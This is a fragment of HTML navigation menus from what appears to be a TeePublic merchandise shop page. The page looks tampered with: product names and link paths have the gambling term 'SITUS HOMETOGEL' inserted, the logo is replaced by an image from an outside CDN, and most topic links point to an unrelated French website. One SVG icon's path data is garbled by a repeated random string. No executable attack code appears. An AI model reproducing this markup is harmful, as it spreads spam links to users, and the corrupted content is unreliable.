            <img src="https://assets.teepublic.com/assets/teepublicons/x_close_orange400-c1926221e50e7f6686d23ac344405449054e43f23d0f3306f15d8dfd546f999a.svg" loading="lazy" alt="Close Drawer" height="12" width="12" aria_hidden="false" focusable="true">
           </span>
           <div class='button__content'></div>
          </button>
          <div class='drawer__content-container jsDrawerContentContainer'>
           <div class='m-tray-shop-secondary__body'>
            <div class='m-tray-shop-secondary__content'>
             <h3>Adult Apparel</h3>
             <div class='m-tray-shop-secondary__links'>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="SITUS HOMETOGEL" data-href="/SITUS HOMETOGEL" href="/SITUS HOMETOGEL">
               <h4 class="h--no-s">SITUS HOMETOGEL</h4>
              </a>
              <a class="m-tray-shop-secondary__link--new" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Shorts" data-href="/shorts" href="/shorts">
               <h4 class="h--no-s">Shorts</h4>
               <div class="tp-label tp-label--highlight"> New! </div>
              </a>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Hoodies" data-href="/hoodie" href="/hoodie">
               <h4 class="h--no-s">Hoodies</h4>
              </a>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Long Sleeve SITUS HOMETOGEL" data-href="/long-sleeve-SITUS HOMETOGEL" href="/long-sleeve-SITUS HOMETOGEL">
               <h4 class="h--no-s">Long Sleeve SITUS HOMETOGEL</h4>
              </a>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Crewneck Sweatshirts" data-href="/crewneck-sweatshirt" href="/crewneck-sweatshirt">
               <h4 class="h--no-s">Crewneck Sweatshirts</h4>
              </a>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Tank Tops" data-href="/tank-top" href="/tank-top">
               <h4 class="h--no-s">Tank Tops</h4>
              </a>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Baseball SITUS HOMETOGEL" data-href="/baseball-SITUS HOMETOGEL" href="/baseball-SITUS HOMETOGEL">
               <h4 class="h--no-s">Baseball SITUS HOMETOGEL</h4>
              </a>
             </div>
            </div>
            <div class='m-tray-shop-secondary__content'>
             <h3>Kids Apparel</h3>
             <div class='m-tray-shop-secondary__links'>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Kids SITUS HOMETOGEL" data-href="/kids-SITUS HOMETOGEL" href="/kids-SITUS HOMETOGEL">
               <h4 class="h--no-s">Kids SITUS HOMETOGEL</h4>
              </a>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Kids Hoodie" data-href="/kids-hoodies" href="/kids-hoodies">
               <h4 class="h--no-s">Kids Hoodie</h4>
              </a>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Kids Long Sleeve SITUS HOMETOGEL" data-href="/kids-long-sleeve-SITUS HOMETOGEL" href="/kids-long-sleeve-SITUS HOMETOGEL">
               <h4 class="h--no-s">Kids Long Sleeve SITUS HOMETOGEL</h4>
              </a>
             </div>
            </div>
           </div>
          </div>
          <div class="drawer__footer-container m-tray-shop-secondary__footer">
           <button type="button" class="btn m-shop-tray-secondary__back-btn btn--no-space tp-btn--medium btn--no-background btn--cta btn--cta--on-light" data-action="containers--drawer-component#closeDrawer containers--drawer-component#handleBackToMenu click-&gt;rudderstack--filter-clicked#track" data-cart-id="0ce71249954f259d214421f37b14aeee" data-filter-name="back to menu" data-filter-option-label="Back to Menu">
            <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent teepublicon--rotate-180">
             <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
              <path fill-rule="evenodd" d="M44 24c0 .755-.26 1.361-.395 1.648-.165.35-.367.677-.554.955-.378.558-.868 1.163-1.381 1.755-1.037 1.196-4.383 4.582-5.683 5.87a177.078 177.078 0 0 1-5.221 4.963l-.002.002c-1.242 1.13-3.19 1.066-4.35-.145a2.947 2.947 0 0 1 .148-4.24c2.066-1.887 6.094-5.816 8.053-7.808H7.078C5.378 27 4 25.657 4 24s1.378-3 3.078-3h27.537c-1.959-1.992-6.741-6.612-8.051-7.806-1.31-1.194-1.31-3.03-.15-4.241a3.134 3.134 0 0 1 4.35-.146 169.18 169.18 0 0 1 5.223 4.965c1.3 1.288 4.646 4.675 5.683 5.87.513.592 1.003 1.197 1.38 1.756.188.277.39.604.555.954.135.287.395.894.395 1.648Z" clip-rule="evenodd"></path>
             </svg>
            </span>
            <div class='button__content'> Back To Menu </div>
           </button>
          </div>
         </div>
         <div class="drawer__component drawer--light m-tray-shop-secondary jsSecondaryShopTray m-tray-shop-accessories" data-containers--drawer-component-target="content" data-containers--drawer-component-containers--drawer-component-outlet=".jsDrawerPrimary" data-controller="containers--drawer-component rudderstack--link-clicked rudderstack--filter-clicked" data-rudderstack--link-clicked-location-value="nav-shop-l2" data-rudderstack--filter-clicked-location-value="nav-shop-l2">
          <button type="button" class="btn drawer__close-button tp-btn--medium btn--no-background tp-btn--icon" data-action="click-&gt;containers--drawer-component#closePrimaryDrawer">
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/x_close_orange400-c1926221e50e7f6686d23ac344405449054e43f23d0f3306f15d8dfd546f999a.svg" loading="lazy" alt="Close Drawer" height="12" width="12" aria_hidden="false" focusable="true">
           </span>
           <div class='button__content'></div>
          </button>
          <div class='drawer__content-container jsDrawerContentContainer'>
           <div class='m-tray-shop-secondary__body'>
            <div class='m-tray-shop-secondary__content'>
             <h3>Accessories</h3>
             <div class='m-tray-shop-secondary__links'>
              <a class="m-tray-shop-secondary__link--new" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Hats" data-href="/hats" href="/hats">
               <h4 class="h--no-s">Hats</h4>
               <div class="tp-label tp-label--highlight"> New! </div>
              </a>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Stickers" data-href="/stickers" href="/stickers">
               <h4 class="h--no-s">Stickers</h4>
              </a>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Magnets" data-href="/magnets" href="/magnets">
               <h4 class="h--no-s">Magnets</h4>
              </a>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Phone Cases" data-href="/phone-case" href="/phone-case">
               <h4 class="h--no-s">Phone Cases</h4>
              </a>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Pins" data-href="/pins" href="/pins">
               <h4 class="h--no-s">Pins</h4>
              </a>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Totes" data-href="/totes" href="/totes">
               <h4 class="h--no-s">Totes</h4>
              </a>
             </div>
            </div>
           </div>
          </div>
          <div class="drawer__footer-container m-tray-shop-secondary__footer">
           <button type="button" class="btn m-shop-tray-secondary__back-btn btn--no-space tp-btn--medium btn--no-background btn--cta btn--cta--on-light" data-action="containers--drawer-component#closeDrawer containers--drawer-component#handleBackToMenu click-&gt;rudderstack--filter-clicked#track" data-cart-id="0ce71249954f259d214421f37b14aeee" data-filter-name="back to menu" data-filter-option-label="Back to Menu">
            <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent teepublicon--rotate-180">
             <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
              <path fill-rule="evenodd" d="M44 24c0 .755-.26 1.361-.395 1.648-.165.35-.367.677-.554.955-.378.558-.868 1.163-1.381 1.755-1.037 1.196-4.383 4.582-5.683 5.87a177.078 177.078 0 0 1-5.221 4.963l-.002.002c-1.242 1.13-3.19 1.066-4.35-.145a2.947 2.947 0 0 1 .148-4.24c2.066-1.887 6.094-5.816 8.053-7.808H7.078C5.378 27 4 25.657 4 24s1.378-3 3.078-3h27.537c-1.959-1.992-6.741-6.612-8.051-7.806-1.31-1.194-1.31-3.03-.15-4.241a3.134 3.134 0 0 1 4.35-.146 169.18 169.18 0 0 1 5.223 4.965c1.3 1.288 4.646 4.675 5.683 5.87.513.592 1.003 1.197 1.38 1.756.188.277.39.604.555.954.135.287.395.894.395 1.648Z" clip-rule="evenodd"></path>
             </svg>
            </span>
            <div class='button__content'> Back To Menu </div>
           </button>
          </div>
         </div>
         <div class="drawer__component drawer--light m-tray-shop-secondary jsSecondaryShopTray m-tray-shop-home-goods" data-containers--drawer-component-target="content" data-containers--drawer-component-containers--drawer-component-outlet=".jsDrawerPrimary" data-controller="containers--drawer-component rudderstack--link-clicked rudderstack--filter-clicked" data-rudderstack--link-clicked-location-value="nav-shop-l2" data-rudderstack--filter-clicked-location-value="nav-shop-l2">
          <button type="button" class="btn drawer__close-button tp-btn--medium btn--no-background tp-btn--icon" data-action="click-&gt;containers--drawer-component#closePrimaryDrawer">
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/x_close_orange400-c1926221e50e7f6686d23ac344405449054e43f23d0f3306f15d8dfd546f999a.svg" loading="lazy" alt="Close Drawer" height="12" width="12" aria_hidden="false" focusable="true">
           </span>
           <div class='button__content'></div>
          </button>
          <div class='drawer__content-container jsDrawerContentContainer'>
           <div class='m-tray-shop-secondary__body'>
            <div class='m-tray-shop-secondary__content'>
             <h3>Home Goods</h3>
             <div class='m-tray-shop-secondary__links'>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Mugs" data-href="/mug" href="/mug">
               <h4 class="h--no-s">Mugs</h4>
              </a>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Tapestries" data-href="/tapestries" href="/tapestries">
               <h4 class="h--no-s">Tapestries</h4>
              </a>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Wall Art" data-href="/posters-and-art" href="/posters-and-art">
               <h4 class="h--no-s">Wall Art</h4>
              </a>
              <a class="m-tray-shop-secondary__link" data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Pillows" data-href="/throw-pillows" href="/throw-pillows">
               <h4 class="h--no-s">Pillows</h4>
              </a>
             </div>
            </div>
           </div>
          </div>
          <div class="drawer__footer-container m-tray-shop-secondary__footer">
           <button type="button" class="btn m-shop-tray-secondary__back-btn btn--no-space tp-btn--medium btn--no-background btn--cta btn--cta--on-light" data-action="containers--drawer-component#closeDrawer containers--drawer-component#handleBackToMenu click-&gt;rudderstack--filter-clicked#track" data-cart-id="0ce71249954f259d214421f37b14aeee" data-filter-name="back to menu" data-filter-option-label="Back to Menu">
            <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent teepublicon--rotate-180">
             <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="16" height="16" focusable="false" aria-hidden="true">
              <path fill-rule="evenodd" d="M44 24c0 .755-.26 1.361-.395 1.648-.165.35-.367.677-.554.955-.378.558-.868 1.163-1.381 1.755-1.037 1.196-4.383 4.582-5.683 5.87a177.078 177.078 0 0 1-5.221 4.963l-.002.002c-1.242 1.13-3.19 1.066-4.35-.145a2.947 2.947 0 0 1 .148-4.24c2.066-1.887 6.094-5.816 8.053-7.808H7.078C5.378 27 4 25.657 4 24s1.378-3 3.078-3h27.537c-1.959-1.992-6.741-6.612-8.051-7.806-1.31-1.194-1.31-3.03-.15-4.241a3.134 3.134 0 0 1 4.35-.146 169.18 169.18 0 0 1 5.223 4.965c1.3 1.288 4.646 4.675 5.683 5.87.513.592 1.003 1.197 1.38 1.756.188.277.39.604.555.954.135.287.395.894.395 1.648Z" clip-rule="evenodd"></path>
             </svg>
            </span>
            <div class='button__content'> Back To Menu </div>
           </button>
          </div>
         </div>
         <section class="drawer__component drawer--dark m-tray-shop__body">
          <button type="button" class="btn drawer__close-button tp-btn--medium btn--no-background tp-btn--icon" data-action="click-&gt;containers--drawer-component#closePrimaryDrawer" data-containers--drawer-component-target="primaryDrawerCloseButton">
           <span class="teepublicon teepublicon--blue-default teepublicon-background--transparent">
            <img src="https://assets.teepublic.com/assets/teepublicons/x_close_orange400-c1926221e50e7f6686d23ac344405449054e43f23d0f3306f15d8dfd546f999a.svg" loading="lazy" alt="Close Drawer" height="12" width="12" aria_hidden="false" focusable="true">
           </span>
           <div class='button__content'></div>
          </button>
          <div class='drawer__content-container jsDrawerContentContainer'>
           <div class='m-tray-shop__body'>
            <div class='m-tray-shop__logo-container'>
             <div class="vc-header-logo">
              <a aria-label="Home Link" title="Home" href="https://www.teepublic.com/" class="link vc-header-logo__wrapper link--1 link--default">
               <span class='link__content'>
                <picture>
                 <source srcset="https://imagekuart.b-cdn.net/assetsmaya/logomaya.png" type="image/png">
                 <img class="vc-header-logo__image" src="https://imagekuart.b-cdn.net/assetsmaya/logomaya.png" style="max-width:150px; height:auto; display:block; margin:0 auto;" alt="SITUS HOMETOGEL Logo">
                </picture>
               </span>
              </a>
              <div class='vc-header-logo__content'></div>
             </div>
            </div>
            <div class='m-tray-shop__secondary-actions'>
             <button type="button" class="btn m-tray-shop__secondary-action btn--no-space btn--full-width tp-btn--medium" data-action="navigation--tray-trigger#openTray containers--drawer-component#handlePrimaryDrawerCloseButton click-&gt;rudderstack--filter-clicked#track" data-targeted-tray="shop-designs" data-cart-id="0ce71249954f259d214421f37b14aeee" data-filter-name="Designs" data-filter-option-label="Shop Designs">
              <div class='button__content'>
               <div class='m-tray-shop__secondary-action-text'>
                <h4>Shop Designs</h4>
                <p>Discover a classic design or new favorite artist</p>
               </div>
              </div>
              <span class="teepublicon teepublicon--primary-400 teepublicon-background--transparent">
               <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="24" height="24" focusable="false" aria-hidden="true">
                <path fill-rule="evenodd" d="M44 24c0 .755-.26 1.361-.395 1.648-.165.35-.367.677-.554.955-.378.558-.868 1.163-1.381 1.755-1.037 1.196-4.383 4.582-5.683 5.87a177.078 177.078 0 0 1-5.221 4.963l-.002.002c-1.242 1.13-3.19 1.066-4.35-.145a2.947 2.947 0 0 1 .148-4.24c2.066-1.887 6.094-5.816 8.053-7.808H7.078C5.378 27 4 25.657 4 24s1.378-3 3.078-3h27.537c-1.959-1.992-6.741-6.612-8.051-7.806-1.31-1.194-1.31-3.03-.15-4.241a3.134 3.134 0 0 1 4.35-.146 169.18 169.18 0 0 1 5.223 4.965c1.3 1.288 4.646 4.675 5.683 5.87.513.592 1.003 1.197 1.38 1.756.188.277.39.604.555.954.135.287.395.894.395 1.648Z" clip-rule="evenodd"></path>
               </svg>
              </span>
             </button>
             <button type="button" class="btn m-tray-shop__secondary-action btn--no-space btn--full-width tp-btn--medium" data-action="navigation--tray-trigger#openTray containers--drawer-component#handlePrimaryDrawerCloseButton click-&gt;rudderstack--filter-clicked#track" data-targeted-tray="shop-apparel" data-cart-id="0ce71249954f259d214421f37b14aeee" data-filter-name="Canvas" data-filter-option-label="Apparel">
              <div class='button__content'>
               <div class='m-tray-shop__secondary-action-text'>
                <h4>Apparel</h4>
                <p>Shop for Adults &amp; Kids</p>
               </div>
              </div>
              <span class="teepublicon teepublicon--primary-400 teepublicon-background--transparent">
               <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="24" height="24" focusable="false" aria-hidden="true">
                <path fill-rule="evenodd" d="M44 24c0 .755-.26 1.361-.395 1.648-.165.35-.367.677-.554.955-.378.558-.868 1.163-1.381 1.755-1.037 1.196-4.383 4.582-5.683 5.87a177.078 177.078 0 0 1-5.221 4.963l-.002.002c-1.242 1.13-3.19 1.066-4.35-.145a2.947 2.947 0 0 1 .148-4.24c2.066-1.887 6.094-5.816 8.053-7.808H7.078C5.378 27 4 25.657 4 24s1.378-3 3.078-3h27.537c-1.959-1.992-6.741-6.612-8.051-7.806-1.31-1.194-1.31-3.03-.15-4.241a3.134 3.134 0 0 1 4.35-.146 169.18 169.18 0 0 1 5.223 4.965c1.3 1.288 4.646 4.675 5.683 5.87.513.592 1.003 1.197 1.38 1.756.188.277.39.604.555.954.135.287.395.894.395 1.648Z" clip-rule="evenodd"></path>
               </svg>
              </span>
             </button>
             <button type="button" class="btn m-tray-shop__secondary-action btn--no-space btn--full-width tp-btn--medium" data-action="navigation--tray-trigger#openTray containers--drawer-component#handlePrimaryDrawerCloseButton click-&gt;rudderstack--filter-clicked#track" data-targeted-tray="shop-accessories" data-cart-id="0ce71249954f259d214421f37b14aeee" data-filter-name="Canvas" data-filter-option-label="Accessories">
              <div class='button__content'>
               <div class='m-tray-shop__secondary-action-text'>
                <h4>Accessories</h4>
                <p>Express yourself with stickers and more</p>
               </div>
              </div>
              <span class="teepublicon teepublicon--primary-400 teepublicon-background--transparent">
               <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="24" height="24" focusable="false" aria-hidden="true">
                <path fill-rule="evenodd" d="M44 24c0 .755-.26 1.361-.395 1.648-.165.35-.367.677-.554.955-.378.558-.868 1.163-1.381 1.755-1.037 1.196-4.383 4.582-5.683 5.87a177.078 177.078 0 0 1-5.221 4.963l-.002.002c-1.242 1.13-3.19 1.066-4.35-.145a2.947 2.947 0 0 1 .148-4.24c2.066-1.887 6.094-5.816 8.053-7.808H7.078C5.378 27 4 25.657 4 24s1.378-3 3.078-3h27.537c-1.959-1.992-6.741-6.612-8.051-7.806-1.31-1.194-1.31-3.03-.15-4.241a3.134 3.134 0 0 1 4.35-.146 169.18 169.18 0 0 1 5.223 4.965c1.3 1.288 4.646 4.675 5.683 5.87.513.592 1.003 1.197 1.38 1.756.188.277.39.604.555.954.135.287.395.894.395 1.648Z" clip-rule="evenodd"></path>
               </svg>
              </span>
             </button>
             <button type="button" class="btn m-tray-shop__secondary-action btn--no-space btn--full-width tp-btn--medium" data-action="navigation--tray-trigger#openTray containers--drawer-component#handlePrimaryDrawerCloseButton click-&gt;rudderstack--filter-clicked#track" data-targeted-tray="shop-home-goods" data-cart-id="0ce71249954f259d214421f37b14aeee" data-filter-name="Canvas" data-filter-option-label="Home Goods">
              <div class='button__content'>
               <div class='m-tray-shop__secondary-action-text'>
                <h4>Home Goods</h4>
                <p>Decorate with pillows, tapestries, and more</p>
               </div>
              </div>
              <span class="teepublicon teepublicon--primary-400 teepublicon-background--transparent">
               <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="24" height="24" focusable="false" aria-hidden="true">
                <path fill-rule="evenodd" d="M44 24c0 .755-.26 1.361-.395 1.648-.165.35-.367.677-.554.955-.378.558-.868 1.163-1.381 1.755-1.037 1.196-4.383 4.582-5.683 5.87a177.078 177.078 0 0 1-5.221 4.963l-.002.002c-1.242 1.13-3.19 1.066-4.35-.145a2.947 2.947 0 0 1 .148-4.24c2.066-1.887 6.094-5.816 8.053-7.808H7.078C5.378 27 4 25.657 4 24s1.378-3 3.078-3h27.537c-1.959-1.992-6.741-6.612-8.051-7.806-1.31-1.194-1.31-3.03-.15-4.241a3.134 3.134 0 0 1 4.35-.146 169.18 169.18 0 0 1 5.223 4.965c1.3 1.288 4.646 4.675 5.683 5.87.513.592 1.003 1.197 1.38 1.756.188.277.39.604.555.954.135.287.395.894.395 1.648Z" clip-rule="evenodd"></path>
               </svg>
              </span>
             </button>
            </div>
            <div class="m-tray-shop__popular-products">
             <h3>Popular Products</h3>
             <div class='m-tray-shop__popular-products-grid'>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="SITUS HOMETOGEL" data-href="/SITUS HOMETOGEL" href="/SITUS HOMETOGEL" class="link m-tray-shop__popular-product tshirt">
               <span class='link__content'>
                <span>SITUS HOMETOGEL</span>
               </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Shorts" data-href="/shorts" href="/shorts" class="link m-tray-shop__popular-product shorts m-tray-shop__popular-product--new">
               <span class='link__content'>
                <span>Shorts</span>
               </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Hoodies" data-href="/hoodie" href="/hoodie" class="link m-tray-shop__popular-product hoodie">
               <span class='link__content'>
                <span>Hoodies</span>
               </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Hats" data-href="/hats" href="/hats" class="link m-tray-shop__popular-product hat">
               <span class='link__content'>
                <span>Hats</span>
               </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Kids SITUS HOMETOGEL" data-href="/kids-SITUS HOMETOGEL" href="/kids-SITUS HOMETOGEL" class="link m-tray-shop__popular-product kids">
               <span class='link__content'>
                <span>Kids SITUS HOMETOGEL</span>
               </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Stickers" data-href="/stickers" href="/stickers" class="link m-tray-shop__popular-product sticker">
               <span class='link__content'>
                <span>Stickers</span>
               </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Tank Tops" data-href="/tank-top" href="/tank-top" class="link m-tray-shop__popular-product tank">
               <span class='link__content'>
                <span>Tank Tops</span>
               </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Mugs" data-href="/mug" href="/mug" class="link m-tray-shop__popular-product mug">
               <span class='link__content'>
                <span>Mugs</span>
               </span>
              </a>
             </div>
            </div>
            <div class="m-tray-shop__popular-topics">
             <h3>Browse All Topics</h3>
             <div class='m-tray-shop__popular-topics-content'>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="funny" data-href="https://entreprises-adaptees.fr/rse" title="Funny" href="https://entreprises-adaptees.fr/rse" class="link m-tray-shop__popular-topic vc-pill vc-pill--on-dark link--default link--strong">
               <span class='link__content'> funny </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="music" data-href="https://entreprises-adaptees.fr/rse" title="Music" href="https://entreprises-adaptees.fr/rse" class="link m-tray-shop__popular-topic vc-pill vc-pill--on-dark link--default link--strong">
               <span class='link__content'> music </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="anime" data-href="https://entreprises-adaptees.fr/rse" title="Anime" href="https://entreprises-adaptees.fr/rse" class="link m-tray-shop__popular-topic vc-pill vc-pill--on-dark link--default link--strong">
               <span class='link__content'> anime </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="movies" data-href="https://entreprises-adaptees.fr/rse" title="Movies" href="https://entreprises-adaptees.fr/rse" class="link m-tray-shop__popular-topic vc-pill vc-pill--on-dark link--default link--strong">
               <span class='link__content'> movies </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="television" data-href="https://entreprises-adaptees.fr/rse" title="Television" href="https://entreprises-adaptees.fr/rse" class="link m-tray-shop__popular-topic vc-pill vc-pill--on-dark link--default link--strong">
               <span class='link__content'> television </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="sports" data-href="https://entreprises-adaptees.fr/rse" title="Sports" href="https://entreprises-adaptees.fr/rse" class="link m-tray-shop__popular-topic vc-pill vc-pill--on-dark link--default link--strong">
               <span class='link__content'> sports </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="sci-fi" data-href="clerk.youdown.io/https://entreprises-adaptees.fr/rseimg/HOMETOGEL-youdown.webp" title="Sci-Fi" href="clerk.youdown.io/https://entreprises-adaptees.fr/rseimg/HOMETOGEL-youdown.webp" class="link m-tray-shop__popular-topic vc-pill vc-pill--on-dark link--default link--strong">
               <span class='link__content'> sci-fi </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="vintage" data-href="https://entreprises-adaptees.fr/rse" title="Vintage" href="https://entreprises-adaptees.fr/rse" class="link m-tray-shop__popular-topic vc-pill vc-pill--on-dark link--default link--strong">
               <span class='link__content'> vintage </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="animals" data-href="https://entreprises-adaptees.fr/rse" title="Animals" href="https://entreprises-adaptees.fr/rse" class="link m-tray-shop__popular-topic vc-pill vc-pill--on-dark link--default link--strong">
               <span class='link__content'> animals </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="drinks" data-href="/SITUS HOMETOGEL/drinks" title="Drinks" href="/SITUS HOMETOGEL/drinks" class="link m-tray-shop__popular-topic vc-pill vc-pill--on-dark link--default link--strong">
               <span class='link__content'> drinks </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="food" data-href="/SITUS HOMETOGEL/food" title="Food" href="/SITUS HOMETOGEL/food" class="link m-tray-shop__popular-topic vc-pill vc-pill--on-dark link--default link--strong">
               <span class='link__content'> food </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="politics" data-href="/SITUS HOMETOGEL/politics" title="Politics" href="/SITUS HOMETOGEL/politics" class="link m-tray-shop__popular-topic vc-pill vc-pill--on-dark link--default link--strong">
               <span class='link__content'> politics </span>
              </a>
             </div>
             <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="All Popular Designs" data-href="/SITUS HOMETOGEL?sort=popular" href="/SITUS HOMETOGEL?sort=popular" class="link m-tray-shop__popular-topics-cta link__cta link__cta--on-dark link--default">
              <span class='link__content'> All Popular Designs </span>
             </a>
            </div>
            <div class='m-tray-shop__support'>
             <h3>Support</h3>
             <div class='m-tray-shop__support-links'>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="Order Status" data-href="/order/status" href="/order/status" class="link m-tray-shop__support-link link--1 link--default link--strong tp-btn--icon">
               <span class="teepublicon teepublicon--primary-400 teepublicon-background--transparent">
                <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 48 48" width="20" height="20" focusable="false" aria-hidden="true">
                 <path d="M38.652 14.318c-.75.414-1.62.892-2.556 1.404L18.694 5.944a252.71 252.71 0 0 1 2.536-1.289 6.182 6.182 0 0 1 5.54 0c2.01 1.007 4.716 2.395 6.73 3.543 1.98 1.13 4.512 2.723 6.362 3.912.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo66-.284c2.008-1.007 4.715-2.394 6.73-3.543 1.98-1.129 4.51-2.723 6.361-3.911a6.013 6.013 0 0 0 2.763-4.58c.175-2.199.375-5.205.375-7.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo-3.778 1.976c-.703.367-1.548-.137-1.548-.924V22.74c-1.263.666-2.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo 0 0-4.386 2.747 6.117 6.117 0 0 0-1.116.918l.383.213a743.059 743.059 0 0 0 7.928 4.343 255.811 255.811 0 0 0 6.196 3.247c.88.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo-.487 2.09-1.066 3.27-1.688ZM21.23 4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo306-3.305 666.21 666.21 0 0 1-7.957-4.358C5.187 19.076 5 21.966 5 24.186c0 2.291.2 5.297.375 7.4B39sqaV9e6iS7bVKvn7v8Xq3vhcmEmsF2hBfQq1j3w89Y4VacxACZwKA1fZay8J2feiUxveDFJ6fSJTWMSk2akq12UWMJo 3.543Zm2.378-21.573.034-.009a.378.378 0 0 1-.034.01Zm.75-.009a.23.23 0 0 1 .034.01l-.034-.01Z"></path>
                </svg>
               </span>
               <span class='link__content'>
                <span>Order Status</span>
               </span>
              </a>
              <a data-rudderstack-event-type="link" data-action="click-&gt;rudderstack--link-clicked#track" data-link-label="FAQ" data-href="https://teepublic.zendesk.com/hc/" href="https://teepublic.zendesk.com/hc/" class="link m-tray-shop__support-link link--1 link--default link--strong tp-btn--icon">
               <span class="teepublicon teepublicon--primary-400 teepublicon-background--transparent">
